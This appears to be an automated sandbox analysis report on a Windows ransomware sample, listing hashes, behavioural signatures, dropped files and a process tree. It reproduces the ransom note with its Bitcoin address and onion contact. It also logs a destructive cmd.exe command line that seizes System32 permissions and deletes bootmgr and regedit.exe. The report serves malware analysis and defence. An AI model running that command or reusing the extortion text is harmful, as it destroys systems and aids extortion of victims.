Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/11/2024, 02:26

General

  • Target
    369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
  • Size 3.1MB
  • Sample241106-cwxc2sslhv
  • SHA256 369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\HOW-TO-DECRYPT.TXT

Ransom Note
  • Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe
URLs
  • http://mail2tor2zyjdctd.onion/

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Renames multiple (481) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Disables Task Manager via registry modification
  • Possible privilege escalation attempt 5 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
    "C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && Exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\SysWOW64\takeown.exe
        takeown /f C:\Windows\System32
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3276
      • C:\Windows\SysWOW64\icacls.exe
        icacls C:\Windows\System32 /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:3120
      • C:\Windows\SysWOW64\takeown.exe
        takeown /f C:\Windows\System32\drivers
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2892
      • C:\Windows\SysWOW64\icacls.exe
        icacls C:\Windows\System32\drivers /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:4828
      • C:\Windows\SysWOW64\takeown.exe
        takeown /f C:\Windows\System32\LogonUI.exe
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2100

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        HOW-TO-DECRYPT.TXT

        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\HOW-TO-DECRYPT.TXT
        • Size 1KB
        • SHA256 be548e310dab08ae249c6d20ba64034d4f3568365d4d31e1f1262abb6c3f33f2
        • MD5 SHA1 SHA512

        000003.log

        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log
        • Size 16B
        • SHA256 16ef853f2adc432c54ad75d0db8169be845065f65b6c5136eaafdcbe698ac1e6
        • MD5 SHA1 SHA512

        winword.exe_Rules.xml

        • Path C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml
        • Size 332KB
        • SHA256 d883bdee08b17e451d3be046fd7cd7b9c816c37f72fa123ca1c13c81e9fcd5ac
        • MD5 SHA1 SHA512 SSDEEP

        settings.dat

        • Path C:\Users\Admin\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
        • Size 8KB
        • SHA256 a05288aa086504a20d2a3177854f8eb158778756ebc24dcfca266c52fa8d5a17
        • MD5 SHA1 SHA512 SSDEEP

        memory/3940-14-0x0000000005710000-0x00000000057A2000-memory.dmp

        memory/3940-15-0x0000000005690000-0x000000000569A000-memory.dmp

        memory/3940-7-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-5-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-4-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-11-0x0000000000D50000-0x0000000001580000-memory.dmp

        memory/3940-12-0x0000000000D50000-0x0000000001580000-memory.dmp

        memory/3940-13-0x0000000005CC0000-0x0000000006264000-memory.dmp

        memory/3940-0-0x0000000000D50000-0x0000000001580000-memory.dmp

        memory/3940-8-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-6-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-79-0x0000000000D50000-0x0000000001580000-memory.dmp

        memory/3940-114-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-113-0x0000000075AE0000-0x0000000075AE1000-memory.dmp

        memory/3940-193-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-230-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-340-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-3-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-2-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

        memory/3940-1-0x0000000075AE0000-0x0000000075AE1000-memory.dmp